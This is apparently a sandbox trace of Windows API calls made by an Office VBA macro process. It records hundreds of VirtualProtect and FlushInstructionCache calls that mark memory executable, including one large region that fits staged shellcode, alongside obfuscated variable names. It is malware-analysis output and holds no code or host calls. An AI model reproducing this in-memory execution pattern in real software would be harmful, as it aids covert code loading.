[0092.592] GetCurrentProcess () returned 0xffffffff [0092.592] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0092.592] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.593] GetCurrentProcess () returned 0xffffffff [0092.593] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0092.593] GetCurrentProcess () returned 0xffffffff [0092.593] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0092.593] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.593] GetCurrentProcess () returned 0xffffffff [0092.593] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0092.593] GetCurrentProcess () returned 0xffffffff [0092.593] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0092.594] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.594] GetCurrentProcess () returned 0xffffffff [0092.594] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0092.594] GetCurrentProcess () returned 0xffffffff [0092.594] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0092.594] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.594] GetCurrentProcess () returned 0xffffffff [0092.594] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0092.594] GetCurrentProcess () returned 0xffffffff [0092.594] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0092.595] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.595] GetCurrentProcess () returned 0xffffffff [0092.595] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0092.595] GetCurrentProcess () returned 0xffffffff [0092.595] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0092.595] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.595] GetCurrentProcess () returned 0xffffffff [0092.595] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0092.595] GetCurrentProcess () returned 0xffffffff [0092.596] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0092.596] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.596] GetCurrentProcess () returned 0xffffffff [0092.596] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0092.596] GetCurrentProcess () returned 0xffffffff [0092.596] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0092.596] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.596] GetCurrentProcess () returned 0xffffffff [0092.596] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0092.597] GetCurrentProcess () returned 0xffffffff [0092.597] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0092.597] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.597] GetCurrentProcess () returned 0xffffffff [0092.597] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0092.597] GetCurrentProcess () returned 0xffffffff [0092.597] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0092.597] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.597] GetCurrentProcess () returned 0xffffffff [0092.597] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0092.598] GetCurrentProcess () returned 0xffffffff [0092.598] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0092.598] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.598] GetCurrentProcess () returned 0xffffffff [0092.598] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0092.598] GetCurrentProcess () returned 0xffffffff [0092.598] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0092.598] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.599] GetCurrentProcess () returned 0xffffffff [0092.599] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0092.599] GetCurrentProcess () returned 0xffffffff [0092.599] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0092.599] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.599] GetCurrentProcess () returned 0xffffffff [0092.599] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0092.599] GetCurrentProcess () returned 0xffffffff [0092.599] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0092.599] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.600] GetCurrentProcess () returned 0xffffffff [0092.600] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0092.600] GetCurrentProcess () returned 0xffffffff [0092.600] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0092.600] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.600] GetCurrentProcess () returned 0xffffffff [0092.600] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0092.601] GetAsyncKeyState (vKey=3) returned 0 [0092.601] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0092.601] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0092.601] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0092.601] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0092.601] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0092.601] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0092.601] VarAdd (in: pvarLeft=0x198068, pvarRight=0x198018, pvarResult=0x198048 | out: pvarResult=0x198048) returned 0x0 [0092.602] SetErrorMode (uMode=0x8001) returned 0x8001 [0092.602] _stricmp (_Str1="kernel32", _Str2="VBE6.DLL") returned -11 [0092.602] LoadLibraryA (lpLibFileName="kernel32") returned 0x76720000 [0092.602] SetErrorMode (uMode=0x8001) returned 0x8001 [0092.603] GetProcAddress (hModule=0x76720000, lpProcName="VirtualProtect") returned 0x76737a50 [0092.603] VirtualProtect (in: lpAddress=0x11726020, dwSize=0x15fab2, flNewProtect=0x40, lpflOldProtect=0x197fdc | out: lpflOldProtect=0x197fdc*=0x4) returned 1 [0092.997] GetLastError () returned 0x0 [0092.997] GetAsyncKeyState (vKey=3) returned 0 [0093.004] CRetailMalloc_Alloc () returned 0xcad4890 [0093.004] memcpy (in: _Dst=0xfa54f38, _Src=0x197888, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.004] memcpy (in: _Dst=0xfa55040, _Src=0x1978a4, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0093.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e7f46, cbMultiByte=8, lpWideCharStr=0x11420228, cchWideChar=18 | out: lpWideCharStr="u2vxtRyF") returned 8 [0093.004] memcpy (in: _Dst=0xcaa9e0c, _Src=0x11420224, _Size=0x16 | out: _Dst=0xcaa9e0c) returned 0xcaa9e0c [0093.004] memcpy (in: _Dst=0xfa54f38, _Src=0x1978bc, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.005] memcpy (in: _Dst=0xfa54f38, _Src=0x197888, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.005] memcpy (in: _Dst=0xfa54f38, _Src=0x1976f4, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.005] memcpy (in: _Dst=0xfa54f38, _Src=0x197888, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e7f5e, cbMultiByte=9, lpWideCharStr=0x1142092e, cchWideChar=20 | out: lpWideCharStr="bsAPpUjyw") returned 9 [0093.005] memcpy (in: _Dst=0xcaa9e28, _Src=0x1142092a, _Size=0x18 | out: _Dst=0xcaa9e28) returned 0xcaa9e28 [0093.005] memcpy (in: _Dst=0xfa54f3c, _Src=0x1978bc, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0093.005] memcpy (in: _Dst=0xfa54f3c, _Src=0x197888, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0093.005] memcpy (in: _Dst=0xfa54f40, _Src=0x197888, _Size=0x4 | out: _Dst=0xfa54f40) returned 0xfa54f40 [0093.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e7f76, cbMultiByte=7, lpWideCharStr=0x11420cce, cchWideChar=16 | out: lpWideCharStr="Hba7JAe") returned 7 [0093.005] memcpy (in: _Dst=0xcaa9e44, _Src=0x11420cca, _Size=0x14 | out: _Dst=0xcaa9e44) returned 0xcaa9e44 [0093.005] memcpy (in: _Dst=0xfa54f44, _Src=0x1978bc, _Size=0x4 | out: _Dst=0xfa54f44) returned 0xfa54f44 [0093.005] memcpy (in: _Dst=0xfa54f44, _Src=0x197888, _Size=0x4 | out: _Dst=0xfa54f44) returned 0xfa54f44 [0093.006] memcpy (in: _Dst=0x1976cc, _Src=0x197740, _Size=0x8 | out: _Dst=0x1976cc) returned 0x1976cc [0093.006] memcpy (in: _Dst=0xcaadea0, _Src=0x1976cc, _Size=0x8 | out: _Dst=0xcaadea0) returned 0xcaadea0 [0093.006] CRetailMalloc_Alloc () returned 0xcacd100 [0093.006] CRetailMalloc_Free () returned 0x1 [0093.006] memcpy (in: _Dst=0xfa54f38, _Src=0x197888, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.006] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x97\x96\x97\x97\x97\x96\x96\x96", cchCount1=-1, lpString2="\x97\x97\x96\x96\x96\x97\x96\x96\x97", cchCount2=-1) returned 1 [0093.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c2eee, cbMultiByte=10, lpWideCharStr=0x1976a4, cchWideChar=11 | out: lpWideCharStr="——–––—––—") returned 10 [0093.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112807a2, cbMultiByte=10, lpWideCharStr=0x197704, cchWideChar=11 | out: lpWideCharStr="——–––—––—") returned 10 [0093.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112807a2, cbMultiByte=10, lpWideCharStr=0x197704, cchWideChar=11 | out: lpWideCharStr="——–––—––—") returned 10 [0093.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112807a2, cbMultiByte=10, lpWideCharStr=0x197704, cchWideChar=11 | out: lpWideCharStr="——–––—––—") returned 10 [0093.007] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x97\x96\x97\x97\x97\x96\x96\x96", cchCount1=-1, lpString2="\x97\x97\x96\x96\x96\x97\x96\x96\x97", cchCount2=-1) returned 1 [0093.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112807a2, cbMultiByte=10, lpWideCharStr=0x197704, cchWideChar=11 | out: lpWideCharStr="——–––—––—") returned 10 [0093.007] CRetailMalloc_Alloc () returned 0xc879430 [0093.007] _mbscpy_s (in: _Dst=0xc879430, _DstSizeInBytes=0xa, _Src=0x112807a2 | out: _Dst=0xc879430) returned 0x0 [0093.007] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="_B_var_\x96\x97\x96\x97\x97\x97\x96\x96\x96", cchCount1=-1, lpString2="_B_var_\x97\x97\x96\x96\x96\x97\x96\x96\x97", cchCount2=-1) returned 1 [0093.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280c6e, cbMultiByte=17, lpWideCharStr=0x197714, cchWideChar=18 | out: lpWideCharStr="_B_var_——–––—––—") returned 17 [0093.008] _mbscpy_s (in: _Dst=0x19777c, _DstSizeInBytes=0xa, _Src=0x112807a2 | out: _Dst=0x19777c) returned 0x0 [0093.008] CRetailMalloc_Free () returned 0x1 [0093.008] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0093.008] memcpy (in: _Dst=0xfa54f38, _Src=0x197888, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.008] memcpy (in: _Dst=0xfa54f38, _Src=0x1976f4, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.008] memcpy (in: _Dst=0xfa54f38, _Src=0x1976f4, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.008] memcpy (in: _Dst=0xfa54f38, _Src=0x1976f4, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.008] memcpy (in: _Dst=0xfa54f38, _Src=0x197888, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.008] memcpy (in: _Dst=0xfa54f38, _Src=0x197888, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6955ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0093.009] memcpy (in: _Dst=0xcad49a8, _Src=0x197924, _Size=0x18 | out: _Dst=0xcad49a8) returned 0xcad49a8 [0093.009] CRetailMalloc_Realloc () returned 0xcad4890 [0093.009] CRetailMalloc_Free () returned 0x1 [0093.009] GetCurrentProcess () returned 0xffffffff [0093.009] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0093.009] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.010] GetCurrentProcess () returned 0xffffffff [0093.010] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0093.010] GetCurrentProcess () returned 0xffffffff [0093.010] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0093.010] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.011] GetCurrentProcess () returned 0xffffffff [0093.011] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0093.011] GetCurrentProcess () returned 0xffffffff [0093.011] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0093.011] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.011] GetCurrentProcess () returned 0xffffffff [0093.011] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0093.012] GetCurrentProcess () returned 0xffffffff [0093.012] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0093.012] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.012] GetCurrentProcess () returned 0xffffffff [0093.012] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0093.012] GetCurrentProcess () returned 0xffffffff [0093.012] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0093.012] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.013] GetCurrentProcess () returned 0xffffffff [0093.013] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0093.013] GetCurrentProcess () returned 0xffffffff [0093.013] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0093.013] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.013] GetCurrentProcess () returned 0xffffffff [0093.013] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0093.013] GetCurrentProcess () returned 0xffffffff [0093.013] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0093.013] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.014] GetCurrentProcess () returned 0xffffffff [0093.014] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0093.014] GetCurrentProcess () returned 0xffffffff [0093.014] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0093.014] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.014] GetCurrentProcess () returned 0xffffffff [0093.014] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0093.014] GetCurrentProcess () returned 0xffffffff [0093.014] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0093.014] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.015] GetCurrentProcess () returned 0xffffffff [0093.015] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0093.015] GetCurrentProcess () returned 0xffffffff [0093.015] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0093.015] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.015] GetCurrentProcess () returned 0xffffffff [0093.015] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0093.015] GetCurrentProcess () returned 0xffffffff [0093.015] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0093.015] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.016] GetCurrentProcess () returned 0xffffffff [0093.016] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0093.016] GetCurrentProcess () returned 0xffffffff [0093.016] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0093.016] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.016] GetCurrentProcess () returned 0xffffffff [0093.016] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0093.016] GetCurrentProcess () returned 0xffffffff [0093.016] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0093.016] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.017] GetCurrentProcess () returned 0xffffffff [0093.017] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0093.017] GetCurrentProcess () returned 0xffffffff [0093.017] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0093.017] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.017] GetCurrentProcess () returned 0xffffffff [0093.017] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0093.017] GetCurrentProcess () returned 0xffffffff [0093.017] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0093.017] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.018] GetCurrentProcess () returned 0xffffffff [0093.018] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0093.018] GetCurrentProcess () returned 0xffffffff [0093.018] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0093.018] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.018] GetCurrentProcess () returned 0xffffffff [0093.018] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0093.018] GetCurrentProcess () returned 0xffffffff [0093.018] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0093.018] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.019] GetCurrentProcess () returned 0xffffffff [0093.019] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0093.019] GetCurrentProcess () returned 0xffffffff [0093.019] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0093.019] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.019] GetCurrentProcess () returned 0xffffffff [0093.019] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0093.019] GetCurrentProcess () returned 0xffffffff [0093.020] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0093.020] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.020] GetCurrentProcess () returned 0xffffffff [0093.020] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0093.020] GetCurrentProcess () returned 0xffffffff [0093.020] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0093.020] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.020] GetCurrentProcess () returned 0xffffffff [0093.021] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0093.021] GetCurrentProcess () returned 0xffffffff [0093.021] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0093.021] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.021] GetCurrentProcess () returned 0xffffffff [0093.021] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0093.021] GetCurrentProcess () returned 0xffffffff [0093.021] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0093.021] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.021] GetCurrentProcess () returned 0xffffffff [0093.022] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0093.022] GetCurrentProcess () returned 0xffffffff [0093.022] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0093.022] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.022] GetCurrentProcess () returned 0xffffffff [0093.022] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0093.022] GetCurrentProcess () returned 0xffffffff [0093.022] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0093.022] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.023] GetCurrentProcess () returned 0xffffffff [0093.023] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0093.023] GetCurrentProcess () returned 0xffffffff [0093.023] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0093.023] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.023] GetCurrentProcess () returned 0xffffffff [0093.023] FlushInstructionCache (hProcess=0xffffffff, 